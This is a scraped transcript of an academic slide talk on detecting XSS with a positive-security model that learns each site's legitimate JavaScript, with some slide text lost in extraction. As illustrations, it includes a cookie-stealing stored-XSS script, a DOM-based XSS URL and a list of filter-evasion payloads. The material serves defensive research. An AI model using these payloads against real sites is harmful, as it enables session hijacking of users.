Detecting and filtering XSS using Positive Security Logic - PowerPoint PPT Presentation

Detecting and filtering xss using positive security logic
1 / 38

  • Uploaded on
  • Presentation posted in: General

Detecting and filtering XSS using Positive Security Logic. Ofer Rotberg David Movshovitz. Text Book. Real World. Web Application Architecture. “Today, over 70% of attacks come at the ‘Application Layer’ not the network or system layer.” - Gartner Group

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.

Download Presentation

Detecting and filtering XSS using Positive Security Logic

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -

Presentation Transcript

Detecting and filtering xss using positive security logic

Detecting and filtering XSS using Positive Security Logic

Ofer Rotberg

David Movshovitz

Web application architecture

Text Book

Real World

Web Application Architecture

Xss background

“Today, over 70% of attacks come at the ‘Application Layer’ not the network or system layer.” - Gartner Group

XSS is rated #1 among CVE (publicly reported vulnerabilities).

Very simple to perform

A plethora of freely available web applications.

Much of the code is alpha or beta, written by inexperienced programmers.

Every input has the potential to be an attack vector.

In order to (really) fix must change code.

[Source: Vulnerability Type Distributions in CVE Document version: 1.1    Date: May 22, 2007 (]

XSS Background

Some more interesting results

Some more interesting results…

Become an hacker ?

Source: “WhiteHat Website Security Statistic Reports”, Dec 2008

The history repeats itself

The history repeats itself…


3 types of xss

3 Types of XSS

  • Reflected (Non-Persistent): Script embedded in the request is ‘reflected’ in the response

  • Stored (Persistent): Attacker’s input is stored and played back in later page views

  • DOM Based (Local): the problem exists within a page's (legitimate) client-side script itself.

Reflected xss

Reflected XSS

  • Request

    • index.php?name=Jim

  • Response



    Hello, Jim


  • Request


  • Response



    Hello, Jim



  • Browser – assumes server doesn’t send malicious content

    • Parse HTML – build DOM

    • Fetch resources and execute them.

Stored xss

Stored XSS

  • Trudy posts the following text on a message board:

    Great message! <script>var img=new Image(); img.src= " "+document.cookie;</script>

  • When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

  • virus.

Dom based xss


  • First published by Amit Klein (

  • http://victim/promo?product_id=100&title=Last+Chance

  • http://victim/promo?product_id=100&title=Foo#<SCRIPT>alert('XSS') </SCRIPT>

  • <script>

    • var url = window.location.href;

    • var pos = url.indexOf("title=") + 6;

    • varlen = url.length;

    • vartitle_string = url.substring(pos,len);

    • document.write(title_string);

  • </script>

  • DEMO

    Dom xss demo


    >!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">



    <script language="JavaScript">

    varvisitor_name = prompt("What is your name?“ ,"")




    <script language="JavaScript">

    document.write("Welcome " + visitor_name + " How are you?");




    Current approaches for web application security

    Current Approaches for (Web) Application Security

    Source-code analyzers (white box)

    Static –

    Run simple text-based searches for strings (e.g. strcpy).


    construct all possible runtime functional call stacks.

    attempt to determine if a call (to strcpy, for example) can be reached by data received as an input from the user or the environment.


    Operate on source code, thus can be used by developers.

    Integrate tightly into the development phase.

    Pinpoint the problems – where to fix.


    Developers must understand security.

    Language specific.

    Current approaches for web application security cont

    Current Approaches for (Web) Application Security (cont.)

    Web application scanners (black box)

    Fully automated or manual

    …see David’s slides.

    • Automated Login

    • Infinite web sites

    • How does the scanner know if logout has occurred ?

    • multi-page business processes utilizing HTML forms.

    • Web applications are constantly changing.

    Current approaches for web application security cont1

    Current Approaches for (Web) Application Security (cont.)

    Web Application Firewalls (WAF)

    Often called “deep packet inspection firewalls”.

    Examine every request/response within the HTTP, SOAP, XML-RPC, and Web service layers.

    Focus on request

    Stored XSS is a problem.

    Filtering approaches:

    Misuse based (Negative model)

    novel attacks ?

    false positives - if the system configuration or environment changes

    false negative – if using negative model

    Large deviations from one web application to another (signature per application).

    Anomaly based

    Model “normal” traffic and find statistical deviations.

    False Positive rate.

    Unproven theory.

    Training set might include attacks.

    Http vs network anomaly detection

    HTTP Vs. Network anomaly detection

    The stateless nature of HTTP

    most existing attacks are only one request long.

    In network level attacks, an attacker might check if a vulnerability is likely to exist before attempting to exploit it.

    the non-stationary nature of web servers

    web site content changes rapidly.

    Changes in content imply changes in the HTTP requests

    HTTP requests are variable length

    Any learning algorithm that requires fixed-length input, such as a neural net, will not work.

    Training data for anomaly detection is unbalanced

    Many algorithms require similar amounts of normal and abnormal data

    These problems eliminate many algorithms that have been successful before

    Simple mitigation techniques

    (Simple) Mitigation Techniques

    • Disable JS (…and also, Flash, ActiveX, Java Applets…)

      • Web 2.0 is based on AJAX.

    • Netscape SOP

      • Browser isn’t allowed to load or send JS if it doesn’t belong to the same domain.

      • …can be easily bypassed (<IMG src =…)

      • What about mashup ? reuse of code ? external resources ?

    Simple mitigation techniques cont

    (Simple) Mitigation Techniques (cont.)

    • Encode\Escape user input (in request/response)

      • encode all user-supplied HTML special characters, thereby preventing them from being interpreted as HTML.

      • But…many modern web application permit HTML input.

      • MS .NET Anti-XSS library , OWASP PHP Anti-XSS library.

    Simple mitigation techniques cont1

    (Simple) Mitigation Techniques (cont.)

    • Input validation

      • Positive security model.

      • check all input for length, type, syntax, and business rules before accepting the data to be displayed or stored.

    • Protect agains cookie stealing

      • Tie cookie to IP

      • HTTP-Only cookie - cookie is unavailable to JS.

    The filtering problem

    The filtering problem

    • Remove all <script> tags from input

      • There are many different Ways to execute Scripts in an HTML Page (XSS cheatsheet)

        • <script src=""></script>

        • <img src="javascript:alert('XSS');">

        • <iframe src='vbscript:alert("XSS")'>

        • <body onload="alert('XSS');">

        • <link rel="stylesheet" ref="">

        • <div id="mycode" expr="alert('hah!')"

        • <style="background:url('java\nscript:eval(document.all.mycode.expr)')">

    • Input validation

      • there are many different ways to represent the same character in HTML .

      • Browsers tend to be “forgiving”

    XSS Cheat Sheet

    The filtering problem cont

    The filtering problem (cont.)

    Tricky scripts

    Tricky Scripts

    • JS permits invoking code within code using eval()

      • eval("x=10;y=20;document.write(x*y)")

      • temp=eval("document.myForm." + fieldList[i]);

      • eval(xmlhttp.responseText);

    • JS writes new HTML elements with new JS

      • .innerHTML, document.write()

    Related work

    Related Work

    Client-side solutions

    Engin Kirda, Christopher Kruegel, Giovanni Vigna, and Nenad Jovanovic “Noxes: A Client-Side Solution for Mitigating Cross-Site Scripting Attacks” (2006)

    A client-side web proxy that analyzes all internal and external links embedded in Web pages.

    Noxes will identify an unrecognized external link as an XSS attack.

    Noxes only focuses on the XSS attacks targeted on stealing credentials.

    Related work cont

    Related Work (cont.)

    Query anomaly analysis

    Christopher Krugel, G.Vigna, William Robertson, “A multimodal approach to the detection of web based attacks,”(2005)


    Ingham, Somayaji, Burge and Forrest: “Learning DFA representations of HTTP for protecting web applications”(2006)

    Related work cont1

    Related Work (cont.)

    Web response analysis

    Bisht and Venkatakrishnan “XSS-GUARD: Precise Dynamic Prevention of Cross-Site Scripting Attacks” (July 2008).

    Xss guard example

    XSS-Guard example

    Related work cont2

    Related Work (cont.)

    Johns, Engelmann and Posegga, ”XSSDS: Server-side Detection of Cross-site Scripting Attacks” (Dec 2008).

    Reflected –

    Given a set of parameters P = {p1, p2, ..., pm} and a set of scripts S = {s1, s2, ..., sn} find all matches between P and S in which pi was used to define parts of sj.

    Stored –

    Static scripts – simple.

    Dynamic scripts

    Normalize constants (Strings, Numbers and RegEx)

    varying code blocks – variant  script

    Related work cont3

    Related Work (cont.)

    Johns, Engelmann and Posegga, ”XSSDS: Server-side Detection of Cross-site Scripting Attacks” (Dec 2008).


    Proposed model

    Proposed Model

    • Positive security logic.

      • All traffic is illegal unless known to be legal

    • HTML Response= collection of JavaScript nodes.

    Model benefits

    Model Benefits

    • Performance – “light” JS parsing.

    • Generic - targets all types of XSS

      • Even DOM-Based could be mitigated if web proxy is deployed on client side.

    • Fast convergence – short learning period

      • Number of JS nodes is bounded.

      • Most JS nodes appear in every page (“building blocks”).

    • JS nodes DB is transportable

      • Distributed learning.

    • Can detect some attacks even if JS didn’t run.



    • Learn web sites:

      • Crawl web-site using websphinx (

      • Produce static pages and dynamic pages using random fuzzer

    • JavaScript extraction.

      • Now –using HTMLParser (

      • Future - Hook to Mozilla JS extraction engine ?

    • JavaScript code normalization.

      • Using Java RegEx



    • Attack is browser specific.

    • Handle special instructions ( e.g.: eval() ).

    • Attacks against the model

      • Document.write(“…”);

    • Performance

    Current results false positive rate

    False Positive Rate ≡

    (# learned URL’s with new scripts)/(#URLs in detection phase)

    Test methodology

    Crawl web-site  create URL’s pool (~150 URL’s)

    Generate random query URL’s using fuzzer.

    Learn % of total URL’s (randomly picked)

    Detect % of total URL’s (randomly picked)

    Ignore “attacks” from unlearned URL’s

    Current Results - False Positive Rate

    Url fp rate w o normalization

    URL FP Rate w/o Normalization

    Script fp rate w o normalization

    Script FP Rate w/o Normalization

    Current results false negative rate

    Current Results - False Negative Rate

    False Negative Rate ≡

    (# Attacks Detected)/(#Attacks Injected)

    Test methodology

    Find a real vulnerable web-application (

    Create a pool of legitimate URLs using benign fuzzer.

    Create a pool of attack URLs using XSS cheat sheet payloads.

    Learn script DB.

    Detect attacks.


    Fn results

    FN Results

    Deployment options

    Deployment Options

    Further work

    Further Work

    • Efficient implementation to increase performance

    • Code clone detection

    • Future Applications

      • Application JS profile

        • JS cache

      • Deployment options

        • ISP, Enterprise, Client.

    • Other fields:

      • JS worms propagation.

      • Mash-Up.

      • AJAX security.

    Thank you

    Thank You !

  • Login